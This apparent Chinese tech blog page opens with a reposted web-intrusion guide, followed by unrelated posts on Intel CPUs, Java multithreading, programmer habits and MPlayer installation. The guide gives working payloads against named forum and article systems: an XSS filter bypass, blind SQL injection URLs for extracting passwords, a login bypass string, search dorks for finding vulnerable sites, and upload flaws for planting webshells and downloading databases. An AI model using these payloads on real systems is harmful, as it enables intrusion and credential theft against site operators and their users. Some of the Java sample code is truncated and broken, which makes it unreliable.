入侵网站的各种漏洞的利用

0

分类 : 系统安全 | 发表时间 13-06-2006

信息来源:慕容小雨’s blog

慕容小雨何许人也,偶不认识,不过听neeao说过多次,再从作品上看,当非凡人也!呵

各种漏洞的利用和一些搜索参数
说到漏洞,首先应该提到的就是动网的上传漏洞了。

“洞网”漏洞拉开了上传漏洞文件的序幕,其他系统的上
传漏洞接踵而来!

asp动网论坛漏洞分析

1、这个漏洞不算太严重,用过动网论坛的人都知道,发帖时直接写javascript会被过滤拆分,写http会自动加上链接,漏洞就在此,在这两个地方变通一下,把两个单词的某个字母换成编码形式,然后系统再对应地解码回字母,就达到了避免被过滤的目的。例子说明一下,在发帖时写入[img]javas&#x63ript:window.open(‘htt&#x70://www.fwcn.com’,”)[/img] 很清楚地看到,#x63解码的字母是”c”,#x70解码的字母是”p”,&起到连接作用,最后加上[img],使JS被触发,如果论坛支持flash插入,用[swf]也可。利用这个漏洞可以搞些恶作剧,写上诱人的主题,点进去结果是他的主页(骗点击率,作广告),甚至更绝,连到一个有病毒、木马的网页上,让你直想骂娘。这个漏洞存在于动网的各个版本,包括较新的0519版,覆盖面积之广让人瞠目,各人认为应该对某些非法字符进行检测剔除,而非简简单单地拆分了事,真希望动网开发者能尽早补上这漏洞。

2、比起前者,第二个漏洞问题就大啦,利用该漏洞可以破解掉论坛上所有注册会员的密码(恐怖~~~),由于论坛管理员通常直接把论坛程序载下来梢加以美工就拿来使用了,图方便直接导致了漏洞的出现,我们也载一个回来,只要看一下动网的数据库,就知道了密码的字段为userpassword,接着例如要破一个名叫abc的用户密码,首先察看abc的用户资料,给出的连接是http://xxxxx/dispuser.asp?name=abc ,在dispuser.asp中,读取参数的语句是:username=trim(request(“name”)),数据库的查询的语句是: sql=”select * from [user] where username=’”&username&”‘”,看得出来, abc就是直接被作为了dispuer的一个参数username,另外,如果该用户不存在,程序就会给出提示,既然如此,我们就再写入个查询密码的条件,在where username=abc后面加上and userpassword=”******”,理论上这样就可以实现对密码的破解了,但这么破要破到何年何月,现在就要轮到VBS函数大显身手了,可以先用len函数试出用户的密码位数,地址就这么写http://xxxxx/dispuser.asp?name=abc'%20and%20len(userpassword)=5%20and%20’1′=’1,这么看可能不好理解,放到sql语句里其实就是这副样子:sql=”select * from [User] where username=’abc’ and len(UserPassword)=5 and ’1′=’1′”,现在明白点了吧,%20是空格,abc后面的单引号和’1′=’1里的单引号都是为了和sql语句相匹配。奇怪,该用户不存在,喔?那就说明符合这个条件的用户没有,继续,把5换成6,7,8,依此类推,只要能显示出用户资料了,就说明密码位数猜对了。接下来要做的就是试每位的密码是多少了,继续要用到VBS,可以用left或right或mid函数,http://xxxxx/dispuser.asp?name=abc'%20and%20left(userpassword,1)=’a,如果猜对了就给出用户资料,猜对了就给出该用户不存在的提示,这样子还是嫌太慢,那就在外面再套个asc函数,http://xxxxx/dispuser.asp?name=abc'%20and%20asc(mid(userpassword,1,1))>’50 试出用户密码的ASCII码是否大于50,不断地缩小范围,相信很快就能将范围缩小至个位数,看到这里你是否惊出了一身冷汗,起码我是如此,*几个函数的灵活运用,保守地说,不出半小时就能破解出密码。真是不幸中的大幸,动网开发者在后来的05**版后使用了MD5的加密,这下子总算放心了,但介于国内还有许多地方在使用老版本的动网论坛(包括一个小有名气的flash站点)

3 、动网SQL语句漏洞
此漏洞针对动网SQL版本。
测试方法:在http://ip/bbs/admin_index.asp 输入用户名是’or”=’ 密码也是这个
这样可以跳过认证
原理:利用SQL语法。输入的密码和ID就成为一个合法的SQL语句,直接跳过认证。
此漏洞并不针对动网。很多SQL的ASP都会有这个漏洞

4、动网论坛sp2漏洞 (此漏洞影响范围甚大,动网官方站、黑客防线、安全基地都曾因此被黑过,具体资料大家可以在百度搜一下)
上传漏洞路径:reg_upload.asp及upfile.asp

青创文章系统

打开google 输入.tw qcdn (或者是去百度搜索 Powered by:QCDN_NEWS 但大多数是中国的)
青创文章系统
上传漏洞。在网址后加/admin_upfile.asp 如果出现。
Microsoft VBScript 磅︽顶琿岿粇 岿粇 ’800a01b6′
ンぃや穿妮┦┪よ猭: ‘form’
/article/admin_upfile.asp, 21
就代表已经有90%以上的希望了
桂林老兵的上传工具上传木马
入侵的時候發現admin_upfile.asp改了。你也可以改成user_upfile.asp也上傳傳馬馬。還有一個方法就是把admin_upfile.asp user_upfile.asp加到注入工裏邊

青创文章管理系统注入功击
关键字”list.asp?unid=”
工具:
  1、NBSI好像大部分黑客站点都有得下。
  2、MD5Crack2,破解MD5加密的软件(磊子推荐:dos下DV.exe比较好用)
第一次检测的时候,会报告”暂未检测到注入漏洞”;然后在”特征字符”输入”Unid”
(提示:”Unid”中的” U “一定要是大写的

“飞龙文章管理系统” 漏洞

飞龙文章管理系统 Ver 2.0 Build 20040620 正式版漏洞利用
搜索”Article.asp?ArtID=”关键字
漏洞文件在
admin_upfile.asp
user_upfile.asp
这两个文件”upfile.asp”
动网漏洞的再现
上传时cookie中加”ArtID=1111;”

phpwind 1.3.6 的论坛漏洞的利用
搜索关键字”POWER BY PHPWIND v1.3.6″

phpwind1.3.6论坛利用程序 “群共享”中有上传

保存后,木马地址为当前目录下的faq.php

在本机用如下表单进行提交:

METHOD=”POST”>




上传成功后的木马存在论坛目录下
直接访问就行!

漏洞集合

1)Co Net MiB Ver1.0~4.0 用’or’='or’登陆管理员(一个比较经典的漏洞)

2)ASP Calendar漏洞 请在google搜索Maintained with the Ocean12 ASP Calendar Manager v1.01这个信息,程序的默认数据库为o12cal.mdb(非MD5加密,明文保存)

3)六合彩漏洞 我们打开www.baidu.com或是www.google.com
在搜索里输入 请各位验证会员料
http://www.3589.com/tian/4login.asp把4login.asp改成conn.inc

<%DBPath=Server.MapPath("wz520#.mdb")
Set conn=Server.CreateObject(“ADODB.Connection”)
conn.Open “Driver={Microsoft Access Driver (*.mdb)};DBQ=”&DBPath%>

wz520#.mdb,他就是数据库了。#改成%23就可以下载数据库了

4)青创文章系统出现严重漏洞 在网址后加/admin_upfile.asp上传WEBSHELL

百度搜索 Powered by:QCDN_NEWS 台湾.tw qcdn。

还可以用%5c暴库,通杀

“list.asp?unid=” ” .tw/list.asp?unid= ” 存在注入 在”特征字符”输入”Unid”
(”Unid”中的” U “一定要是大写的)

5)自由动力3.6的软件上传过滤不严 用WinHex.exe和WSockExpert.exe修改上传木马

E时代驿站漏洞
百度搜索”E时代驿站”
漏洞利用页面 /upload.asp 用老
兵直接上传

沸腾新闻系统上传漏洞
搜索:沸腾展望新闻系统[核心:尘缘雅境]授权使用
漏洞:没有对空格进行严格的限制。
所以,我们直接选定要上传的asp木马,然后在后面加上空格
它的上传文件是UploadFaceOK.asp

尘缘雅境

在GOOGLE里搜索关键词: V1.0 ACCESS Finish,就会看
到出现了
一大堆
使用尘缘雅境系统的网站.比如说他的网站首页
是http://www.xx.com/asfq/index.asp,那么就要这样填写
http://www.xx.com/asfq/admin/uploadfaceok.asp,[漏洞目
录]:/asfq/admin
(注意一定要加上admin),[漏洞文件]一般不用改,不过有
些老版的
尘缘系统
的漏洞文件是uploadok.asp,如果uploadfaceok.asp不成功
再改

OFSTAR论坛漏洞利用程序(群共享中)
搜索: powered by ofstar.net
1:输入管理员用户名 2:输入任意一个帖子的路径!

3:单击获取密码,可以截取到管理员的MD5密码!是32位加密的!

4:单击直接登陆按钮!程序会自动构造Cookies进行登陆!单击管理栏的”超管”可直接进入后台!

上传木马: 选择后台的论坛管理=>风格摸版设置 插入以下代码! (其实上传shell部分和PHPWind一样)

然后使用提交页面提交“可以直接拿到shell!



intel现在生产的cpu中,pentium 4、pentiumd、celeron是面向pc的,xeon、xeonmp和itanium是面向工作站和服务器的。其中itanium是与其他cpu 完全不同的64位cpu,设计时并没有考虑用于现有的windows应用。其他的处理器虽然在最高工作频率、fsb(前端总线频率)和缓存容量等方面各有不同,但内部设计基本相同,同时可保证软件兼容。

pentium 4(celeron)和xeon(至强)的最大差别是xeon能构建多处理器系统,而p4不行。p4组建的系统中只能用一个cpu,xeon可以用2块cpu组建双处理器系统,而xeonmp可以用4块以上cpu组建系统。

多处理器系统可以用于3d图形制作和动画文件编码等单处理器无法实现的高处理速度应用,还可用于服务器中数据库处理等高负荷高速度应用中。此外,p4用478针封装,xeon用604针封装,而且支持它们的芯片组也不同,因而不能互换使用。

amd也生产面向工作站和服务器的athlon mp处理器。其内部设计与athlon xp基本相同,但支持双cpu。此外,美国sun公司的ultrasparc和ibm公司的power等cpu也是面向服务器,可以组成多处理器系统的cpu,但它们与intel和amd的cpu在软件和硬件上都不兼容。

JAVA 的多线程浅析

0

分类 : 编码知识 | 发表时间 08-05-2006

一 JAVA 语言的来源、及特点在这个高速信息的时代,商家们纷纷把信息、产品做到Internet国际互连网页上。再这些不寻常网页的背后,要属功能齐全、安全可靠的编程语言,Java是当之无愧的。Java是由Sun Microsystem开发的一种功能强大的新型程序设计语言。是与平台无关的编程语言。它是一种简单的、面象对象的、分布式的、解释的、键壮的、安全的、结构的中立的、可移植的、性能很优异的、多线程的、动态的、语言。
Java自问世以后,以其编程简单、代码高效、可移植性强,很快受到了广大计算机编程人士的青睐。Java语言是Internet上具有革命性的编程语言,它具有强大的动画、多媒体和交互功能,他使World Web进入了一个全新的时代。Java语言与C++极为类似,可用它来创建安全的、可移植的、多线程的交互式程序。另外用Java开发出来的程序与平台无关,可在多种平台上运行。后台开发,是一种高效、实用的编程方法。人们在屏幕前只能看到例如图案、计算的结果等。实际上操作系统往往在后台来调度一些事件、管理程序的流向等。例如操作系统中的堆栈,线程间的资源分配与管理,内存的创建、访问、管理等。可谓举不盛举。下面就多线程来谈一谈。

二 JAVA的多线程理论

2.1引入
Java提供的多线程功能使得在一个程序里可同时执行多个小任务。线程有时也称小进程是一个大进程里分出来的小的独立的进程。因为Java实现的多线程技术,所以比C和C++更键壮。多线程带来的更大的好处是更好的交互性能和实时控制性能。当然实时控制性能还取决于系统本身(UNIX,Windows,Macintosh等),在开发难易程度和性能上都比单线程要好。传统编程环境通常是单线程的,由于JAVA是多线程的。尽管多线程是强大而灵巧的编程工具,但要用好却不容易,且有许多陷阱,即使编程老手也难免误用。为了更好的了解线程,用办公室工作人员作比喻。办公室工作人员就象CPU,根据上级指示做工作,就象执行一个线程。在单线程环境中,每个程序编写和执行的方式是任何时候程序只考虑一个处理顺序。用我们的比喻,就象办公室工作人员从头到尾不受打扰和分心,只安排做一个工作。当然,实际生活中工作人员很难一次只有一个任务,更常见的是工作人员要同时做几件事。老板将工作交给工作人员,希望工作人员做一这个工作,再做点那个工作,等等。如果一个任务无法做下去了,比如工作人员等待另一部门的信息,则工作人员将这个工作放在一边,转入另一个工作。一般来说,老板希望工作人员手头的各个任务每一天都有一些进展。这样就引入了多线程的概念。多线程编程环境与这个典型的办公室非常相似,同时给CPU分配了几个任务或线程。和办公室人员一样,计算机CPU实际上不可能同一时间做几件事,而是把时间分配到不同的线程,使每个线程都有点进展。如果一个线程无法进行,比如线程要求的键盘输入尚未取得,则转入另一线程的工作。通常,CPU在线程间的切换非常迅速,使人们感觉到好象所有线程是同时进行的。
任何处理环境,无论是单线程还是多线程,都有三个关键方面。第一个是CPU,它实际上进行计算机活动;第二个是执行的程序的代码;第三个是程序操作的数据.。
在多线程编程中,每个线程都用编码提供线程的行为,用数据供给编码操作。多个线程可以同时处理同一编码和数据,不同的线程也可能各有不同的编码和数据。
事实上编码和数据部分是相当独立的,需要时即可向线程提供。因此经常是几个线程使用同一编码和不同的数据。这个思想也可以用办公室工作人员来比喻。会计可能要做一个部门的帐或几个或几个部门的帐。任何情况的做帐的任务是相同的程序代码,但每个部门的数据是不同的。会计可能要做整个公司的帐,这时有几个任务,但有些数据是共享的,因为公司帐需要来自各个部门的数据。
多线程编程环境用方便的模型隐藏CPU在任务切换间的事实。模型允许假装成有多个可用的CPU。为了建立另一个任务,编程人员要求另一个虚拟CPU,指示它开始用某个数据组执行某个程序段。下面我们来建立线程。


建立线程
在JAVA中建立线程并不困难,所需要的三件事:执行的代码、代码所操作的数据和执行代码的虚拟CPU。虚拟CPU包装在Thread类的实例中。建立Thread对象时,必须提供执行的代码和代码所处理的数据。JAVA的面向对象模型要求程序代码只能写成类的成员方法。数据只能作为方法中的自动(或本地)变量或类的成员存在。这些规则要求为线程提供的代码和数据应以类的实例的形式出现。
Public class SimpleRunnable implemants Runable{
Private String message;
Public static void main(String args[]){
SimpleRunnable r1=new SimpleRunnable(“Hello”);
Thread t1=new Thread(r1);
t1.start();
}
public SimpleRunnable(String message){
this.message=message;
}
public void run(){
for(;;){
System.out.println(message);
}
}
}
线程开始执行时,它在public void run()方法中执行。这种方法是定义的线程执行的起点,就象应用程序从main()开始、小程序从init()开始一样。线程操作的本地数据是传入线程的对象的成员。
首先,main()方法构造SimpleRunnable类的实例。注意,实例有自己的数据,这里是一个String,初始化为”Hello”.由于实例r1传入Thread类构造器,这是线程运行时处理的数据。执行的代码是实例方法run()。


2.2 线程的管理
单线程的程序都有一个main执行体,它运行一些代码,当程序结束执行后,它正好退出,程序同时结束运行。在JAVA中我们要得到相同的应答,必须稍微进行改动。只有当所有的线程退出后,程序才能结束。只要有一个线程一直在运行,程序就无法退出。线程包括四个状态:new(开始),running(运行),wait(等候)和done(结束)。第一次创建线程时,都位于new状态,在这个状态下,不能运行线程,只能等待。然后,线程或者由方法start开始或者送往done状态,位于done中的线程已经结束执行,这是线程的最后一个状态。一旦线程位于这个状态,就不能再次出现,而且当JAVA虚拟机中的所有线程都位于done状态时,程序就强行中止。当前正在执行的所有线程都位于running状态,在程序之间用某种方法把处理器的执行时间分成时间片,位于running状态的每个线程都是能运行的,但在一个给定的时间内,每个系统处理器只能运行一个线程。与位于running状态的线程不同,由于某种原因,可以把已经位于waiting状态的线程从一组可执行线程中删除。如果线程的执行被中断,就回到waiting状态。用多种方法能中断一个线程。线程能被挂起,在系统资源上等候,或者被告知进入休眠状态。该状态的线程可以返回到running状
态,也能由方法stop送入done状态,
方法
描述
有效状态
目的状态
Start()
开始执行一个线程
New
Running
Stop()
结束执行一个线程
New或running
Done
Sleep(long)
暂停一段时间,这个时间为给定的毫秒
Running
Wait
Sleep(long,int)
暂停片刻,可以精确到纳秒
Running r/>Wait
Suspend()
挂起执行
Running
Wait
Resume()
恢复执行
Wait
Running
Yield()
明确放弃执行
Running
Running


2.3线程的调度
线程运行的顺序以及从处理器中获得的时间数量主要取决于开发者,处理器给每个线程分配一个时间片,而且线程的运行不能影响整个系统。处理器线程的系统或者是抢占式的,或者是非抢占式的。抢占式系统在任何给定的时间内将运行最高优先级的线程,系统中的所有线程都有自己的优先级。Thread.NORM_PRIORITY是线程的缺省值,Thread类提供了setPriority和getPriority方法来设置和读取优先权,使用setPriority方法能改变Java虚拟机中的线程的重要性,它调用一个整数,类变量Thread.MIN_PRIORITY和Thread.MAX_PRIORITY决定这个整数的有效范围。Java虚拟机是抢占式的,它能保证运行优先级最高的线程。在JAVA虚拟机中我们把一个线程的优先级改为最高,那么他将取代当前正在运行的线程,除非这个线程结束运行或者被一条休眠命令放入waiting状态,否者将一直占用所有的处理器的时间。
如果遇到两个优先级相同的线程,操作系统可能影响线程的执行顺序。而且这个区别取决于时间片(time slicing)的概念。
管理几个线程并不是真正的难题,对于上百个线程它是怎样管理的呢?当然可以通过循环,来执行每一个线程,但是这显然是冗长、乏味。JAVA创建了线程组。线程组是线程的一个谱系组,每个组包含的线程数不受限制,能对每个线程命名并能在整个线程组中执行(Suspend)和停止(Stop)这样的操作。

2.4信号标志:保护其它共享资源
这种类型的保护被称为互斥锁。某个时间只能有一个线程读取或修改这个数据值。在对文件尤其是信息数据库进行处理时,读取的数据总是多于写数据,根据这个情况,可以简化程序。下面举一例,假设有一个雇员信息的数据库,其中包括雇员的地址和电话号码等信息,有时要进行修改,但要更多的还是读数据,因此要尽可能防止数据被破坏或任意删改。我们引入前面互斥锁的概念,允许一个读取锁(red lock)和写入锁(write lock),可根据需要确定有权读取数据的人员,而且当某人要写数据时,必须有互斥锁,这就是信号标志的概念。信号标志有两种状态,首先是empty()状态,表示没有任何线程正在读或写,可以接受读和写的请求,并且立即提供服务;第二种状态是reading()状态,表示有线程正在从数据库中读信息,并记录进行读操作的线程数,当它为0时,返回empty状态,一个写请求将导致这个线程进入等待状态。
只能从empty状态进入writing状态,一旦进入writing状态后,其它线程都不能写操作,任何写或读请求都必须等到这个线程完成写操作为止,而且waiting状态中的进程也必须一直等到写操作结束。完成操作后,返回到empty状态,发送一个通知信号,等待的线程将得到服务。
下面实现了这个信号标志
class Semaphore{
final static int EMPTY=0;
final static int READING=1;
final static int WRITING=2;
protected int state=EMPTY;
protected int readCnt=0;
public synchronized void readLock(){
if(state==EMPTY){
state=READING;
}
else if(state==READING){
}
else if(state==WRITING){
while(state==WRITING){
try {wait();}
catch(InterruptedException e){;}
}
state=READING;
}
readCnt++;
return;
}
public synchronized void writeLock(){
if(state==EMPTY){
state=WRITING;
}
else{
while(state!=EMPTY){
try {wait();}
catch(InterruptedException e) {;}
}
}
}
public synchronized void readUnlock(){
readCnt–;
if(readCnt==0){
state=EMPTY;
notify();
}
}
public synchronized void writeUnlock(){
state=EMPTY;
notify();
}
}
现在是测试信号标志的程序:
class Process extends Thread{
String op;
Semaphore sem;
Process(String name,String op,Semaphore sem){
super(name);
this.op=op;
this.sem=sem;
start();
}
public void run(){
if(op
catch(InterruptedException e){;}
System.out.println(“Unlocking readLock:”+getName());
sem.readUnlock();
}
else if(op
catch(InterruptedException e){;}
System.out.println(“Unlocking writeLock:”+getName());
sem.writeUnlock();
}
}
}
public class testSem{
public static void main(String argv[]){
Semaphore lock = new Semaphore();
new Process(“1″,”read”,lock);
new Process(“2″,”read”,lock);
new Process(“3″,”write”,lock);
new Process(“4″,”read”,lock);
}
}
testSem 类从process类的四个实例开始,它是个线程,用来读或写一个共享文件
。Semaphore类保证访问不会破坏文件,执行程序,输出结果如下:
Trying to get readLock:1
Read op:1
Trying to get readLock:2
Read op:2
Trying to get writeLock:3
Trying to get readLock:4
Read op:4
Unlocking readLock:1
Unlocking readLock:2
Unlocking readLock:4
Write op:3
Unlocking writeLock:3
从这可看到,


2.5死锁以及怎样避免死锁:
为了防止数据项目的并发访问,应将数据项目标为专用,只有通过类本身的实例方法的同步区访问。为了进入关键区,线程必须取得对象的锁。假设线程要独占访问两个不同对象的数据,则必须从每个对象各取一个不同的锁。现在假设另一个线程也要独占访问这两个对象,则该进程必须得到这两把锁之后才能进入。由于需要两把锁,编程如果不小心就可能出现死锁。假设第一个线程取得对象A的锁,准备取对象B的锁,而第二个线程取得了对象B的锁,准备取对象A的锁,两个线程都不能进入,因为两者都不能离开进入的同步块,既两者都不能放弃目前持有的锁。避免死锁要认真设计。线程因为某个先决条件而受阻时,如需要锁标记时,不能让线程的停止本身禁止条件的变化。如果要取得多个资源,如两个不同对象的锁,必须定义取得资源的顺序。如果对象A和B的锁总是按字母顺序取得,则不会出现前面说道的饿死条件。

三、Java多线程的优缺点
由于JAVA的多线程功能齐全,各种情况面面具到,它带来的好处也是显然易见的。多线程带来的更大的好处是更好的交互性能和实时控制性能。当然实时控制性能还取决于系统本身(UNIX,Windows,Macintosh 等),在开发难易程度和性能上都比单线程要好。当然一个好的程序设计语言肯定也难免有不足之处。由于多线程还没有充分利用基本OS的这一功能。这点我在前面已经提到,对于不同的系统,上面的程序可能会出现截然不同的结果,这使编程者偶会感到迷惑不解。希望在不久的将来JAVA的多线程能充分利用到操作系统,减少对编程者的困惑。我期待着JAVA会更好

优秀程序员的两大要素:懒 + 笨

0

分类 : 技术文摘 | 发表时间 05-05-2006

懒 只有懒惰的程序员才会去编写那些可以最终代替自己工作的自动化工具,才不会成天为了实现相似的功能去编写大段大段冗余重复的代码 – 这种代码往往是软件后期维护和重构的天敌。通常来说,由于惰性的驱使所产生出来的工具和程序将最终极大的提高生产开发的速度。

  当然,对于一个程序员来说,光光具备懒惰这个要素还是不够的。在享受懒惰之前,他必须以最大的热情和最高的效率去研究解放自己的途径,比如:找到最有助于开发的工具,最能体现“一次编写,多次复用”精神的代码架构的设计。只有在这些必要的工作之后,才可能真正享受轻松编程的乐趣。

  所以“懒”的精髓用一句老话来描述,那就是磨刀不误砍柴功。如果你不想办法磨亮手中的柴刀,就算一天二十四小时都在砍柴,效果也不如拿把锋利的斧头一天只砍一小时。

  从这个角度来说,Google给员工的20%自由时间是完全发挥了“懒”的能动力。为了更好的享受偷懒的乐趣,员工会更加具有创造力的去高效完成自己的任务。

  夸张一点来说,懒惰才是人类进步的原动力。

  笨 这一点似乎比懒更让人不能接受。在解释这里所说的笨的具体含义之前,我们先看看一个聪明人(或者说认为自己足够聪明)会做什么:

  1) 停止学习新的东西
  2) 不愿意用批判的眼光去审视自己的工作

  第1点将使我们很难去接受或者主动的去研究一项新的技术 – 即使新技术能带给他更多工作上的便利。第2点会使我们无法清晰的分析自身工作的问题所在,要对其进行改进或者重构就更加困难。

  从这两点来考虑,作为一个程序员太自以为是不见得是件好事情。由于对自身的过于自信,往往无法客观的看待自己和自己的工作。相反的,笨一点(确切的说,谦逊一点)有时候倒有助于开发的顺利进行。举例来说,当程序出现bug的时候,最好尽早承认问题是出在自己编写的代码上面而不是在于编译器(当然除非是字节高低位编码方式之类的问题,这种问题编译器会是错误的根源之一)。如果你太自负的认为自己的程序没有问题而去猜测可能是编译器或者其他的什么外部因素出问题的话,那么十有八九你会在调试过程中走上一长段的弯路。

  程序员应该笨一些的更为关键的原因在于,当需要思考问题的最佳解决方案的时候,往往要求我们首先要跳出思维定式。你对系统了解的越多,积累了越多的经验,就越难走出已有的局限,可以尝试的范围就越小。相反的,对于一个什么也不懂的门外汉来说,因为没有任何失败的记忆和潜规则的约束,也就没有什么是“不可能”的,这样的大脑所能迸发出来的在专业人士看起来愚不可及的想法往往正是解决问题所需要的关键点所在。

  可能很多程序员都会有类似的经历,在面对别人(尤其是其他部门)对于一个bug的描述的时候,必须把自己摆在一个普通用户而不是程序开发者的角度来分析问题,否则的话可能你永远都想象不到这种错误也会发生。越能让自己变得“笨”起来,越能很快的定位到问题所在。我们先看看这么一段关于web开发问题的程序员和客服人员的对话:

  “从昨天开始我们的用户就看不到我们站点上的Logo了。”
  “他试过重启浏览器么?”
  “是的。”
  “他试过重启电脑么?”
  “是的。”
  “他清空过浏览器Cache么?”
  “是的。”
  “他的浏览器版本是IE6么?”
  “是的。”
  “他确信是真的看不到Logo了么?”
  “是的。”
  “他是在电脑显示器屏幕上看我们的站点么?”
  “什么?”
  “比如说,它可能是打印出来看不到?”
  “不。他是在显示器上看的。”
  “除了站点Logo之外,他是不是其他的图片都看不到?”
  “什么?哦。我再问问他。”

  从这段对话来说,估计用户实际上是禁止了浏览器显示图片的功能(或者他儿子干的)。不管怎么样,如果你不是用这种傻瓜式的思维方式去寻找答案的话,可能怎么也找不到问题的根源。

  很多时候,问题发现者对于问题的描述往往是非常片面的,并且加上了主观推测的成分在里面。如果你不能透过这些主观的描述去发现问题的实际表象,或者说根本就是你自己根据程序员的经验逻辑来判断问题所在的话,十有八九会在歧途上越走越远。

  对于白痴级的问题,只有用白痴的行为方式才能得到答案。

  即便同样是程序员,但对于你的程序并不熟悉,也会经常有这样的疑问:“为什么我调用你的代码出错了?”这种问题的答案,很多时候是因为他们的调用方式不对,或者调用了错误的库文件,或者库文件的版本使用不当,或者根本就没有联接到库文件上。当你想让同事帮你检查一下程序中的一个莫名其妙的bug的时候,一般来说希望他对你的系统了解的越少越好,只有这样他才会问一些你自己认为绝对不可能出问题的“笨”问题。

  所以“笨”的精髓在于你如何去思考问题:不要假设些什么,把自己假设的太完美或者把别人假设的很聪明都会使你忽视一些很浅显的事实。思考的前提必须是完整的事实表象,思考的过程必须是抛弃成见的问题跟踪。在发现事实之前作太多的主观思考和臆断,倒不如把自己当作白痴一样来行动更好。

  当然,不思考的一个极端是不分情况都直接去做,另一个极端是完全脱离事实,用思想办事。一个优秀的程序员应该做好权衡。10次决定里面的1次错误决定不是致命的;只做5次正确的决定而另外5次没有任何决定才更糟糕。

  最后是一个蜈蚣的故事。蜈蚣本来用自己的几百只脚走路走的很快很好,但他从来没有花时间去想过为什么。直到有一天,一只臭虫问他:“你是怎么管理好你的几百只脚的?你不觉得这是件很困难的事情吗?”臭虫问完之后就走了。只剩下蜈蚣坐在地上,不停的思考这个问题,却一直想不出个究竟。从此以后,这只蜈蚣再也没办法好好的走路了。

mplayer安装过程与拾遗

0

分类 : 技术文摘 | 发表时间 25-04-2006

以前我们安装mplayer的时候,往往参考了网上的教程,可是有些教程只是注重在自已本机的运行环境,可以正常安装.但是在初学者电脑里,情况就不一样了.甚至有些人不负责任,写的教程误导了初学者.之前我也走了不少弯路,但是从弯路中我慢慢弄清楚了安装与分析过程.以下就是我的安装过程.个别语句引用了其他的优秀教程,在此基础上,注重了安装遗留问题的分析与解决.希望对本文的转载的同时,保留作者的署名.

(一) 安装过程

MPlayer,是一种功能强大的跨平台优秀媒体播放器.本人参考了网上的一些安装方法,在此基础上,按照自己的经验总结出来的.下面我以Fedora core 4安装mplayer.

安装mplayer需要四个包的安装:主程序,皮肤,codecs以及wincodecs(win32)。这四个程序都可以从mplayer官方网站下载:www.mplayerhq.hu 我下载的程序分别是以下四种:

src: MPlayer-1.0pre7try2.tar.bz2

skin: Blue-1.4.tar.bz2

codecs: all-20050412.tar.bz2

windows-all-20050115.zip

把它放在/usr/software/mplayer目录下.

安装时先安装编码包,mplayer的编码包须安装在/usr/lib/codecs/和/usr/lib/wincodecs(win32)中。

[root@fc4 /]# cd /usr/software/mplayer

[root@fc4 mplayer]# tar vjxf all-20050216.tar.bz2

[root@fc4 mplayer]# mv all-20050216 /usr/lib/codecs

[root@fc4 mplayer]# chmod 644 /usr/lib/codecs/*

[root@fc4 mplayer]# chown root.root /usr/lib/codecs/*

[root@fc4 mplayer]# unzip windows-all-20050115.zip

[root@fc4 mplayer]# mv windows-all-20050115 /usr/lib/wincodecs 或者 # mv windows-all-20050115 /usr/lib/win32

[root@fc4 mplayer]# chmod 644 /usr/lib/wincodecs/* 或者 # chmod 644 /usr/lib/win32/*

[root@fc4 mplayer]# chown root.root /usr/lib/wincodecs/* 或者 # chown root.root /usr/lib/win32/*

这样解码包就安装好了,下面开始安装mplayer主程序

[root@rh9 mplayer]# bzip2 -cd MPlayer-1.0pre7try2.tar.bz2 | tar xvf –

[root@rh9 mplayer]# cd MPlayer-1.0pre7/

接下来是配置准备编译,是最关键也是最困难的。关于配置首先要确定几个rpm的包是否安装了,它们是:gtk+-1.2.10, gtk+-1.2.10-devel, glib-1.2.10, glib-1.2.10-devel,可以下载也可以在Fedora Core 4的第四张安装盘里找到安装。

编译mplayer源码包时FC4默认安装的GCC4.0不可以用,而是要安装GCC3.2即这两个包:compat-gcc-32(CD3)和compat-gcc-32-c++ (CD4)

确认上面这几个包已经安装后,可以开始配置编译了.

以下这个是我自己的机上设置的。注意,如果不是用FC4,最后一个选项 –cc=gcc32 可以不用,如果gcc版本的比较低,无法通过配置.最好升级到gcc 3.2.x以上.

[root@fc4 MPlayer-1.0pre7try2]# ./configure –enable-gui –enable-largefiles –enable-menu –prefix=/usr –with-codecsdir=/usr/lib/codecs/ –with-win32libdir=/usr/lib/wincodecs/ –confdir=/etc/mplayer –cc=gcc32

configure后面的参数是为了使用图形界面(即皮肤),以及配置文件位置等等设置的。需要注意的是,最后–cc=gcc32一定需要,是调用 gcc3.2来编译程序。否则会调用GCC4.0来编译,mplayer是不能用gcc4.0编译的。配置成功后,后面就一马平川了!

[root@fc4 MPlayer-1.0pre7try2]# make

[root@fc4 MPlayer-1.0pre7try2]# make install

如果前面的设置等都正确,这里就不会再有错误了。现在mplayer已经装到了你的linux里,下面要安装皮肤即图形界面。

然后回到原来的目录。

[root@fc4 MPlayer-1.0pre7try2]# cd ..

[root@fc4 mplayer]# bzip2 -cd Blue-1.4.tar.bz2 | tar xvf – -C /usr/share/mplayer/Skin/

[root@fc4 mplayer]# mv /usr/share/mplayer/Skin/Blue/ /usr/share/mplayer/Skin/default/

这里安装了刚刚的那个blue皮肤并将它设为默认的,安装完以后你也可以找到各种mplayer的皮肤,不用解压直接放到/usr/share/mplayer/Skin/下就可以在mplayer的界面上修改皮肤了。

然后可以在桌面上放置一个mplayer的图标,在桌面上右键选择启动器(针对gnome),名称为mplayer;命令为 /usr/bin/gmplayer,而mplayer的默认图标位置在/usr/share/pixmaps/mplayer- desktop.xpm 或者用命令 # cp /usr/share/pixmaps/mplayer-desktop.xpm /root/Desktop/

(二) 故障分析与解决

安装完后,我们启动MPlayer,有可能会出现如下这样的错误:

“New_Face faild. Maybe the font path is wrong. please supply the text font file. ( ~/.mplayer/subfont.ttf ).”

这时候我们用系统自带的字体来代替.

[root@fc4 mplayer]# cd /usr/share/fonts/zh_CN/TrueType/

找其中一个字体文件复制到当前用户目录的 .mplayer/ 目录下

[root@fc4 TrueType]#cp gbsn00lp.ttf ~/.mplayer/subfont.ttf

这样就解决了字体问题了.

(三) 注意问题

卸载mplayer只需在刚刚由MPlayer-1.0pre7try2.tar.bz2解压出来的MPlayer-1.0pre7try2目录下运行 make uninstall即可。所以,这个解压出来的文件夹不要删除,如果删除了,卸载的时候也可以到安装目录下直接删除,linux下没有注册表的概念放心删除!

(四) 安装总结

1. 安装的最初的配置是最重要的.选项并不是越多越好的.只要可以实现播放各种格式,包括rmvb和windows下各种媒体类型就行了.因为windcodecs和codecs已经包含了常用的格式了.

2. 要多留意在./configure过程中的错误或者没有符合的依赖关系.有时候无法进行make.就是在这一步出了问题.如果不能进行make,一般有提示的,其日志在config.log中.还有一个办法,就是通过管道输出到文本文件中,可以了解到安装的过程. 如 # ./configure | tee tmp.txt .这样就可以分析错误了.

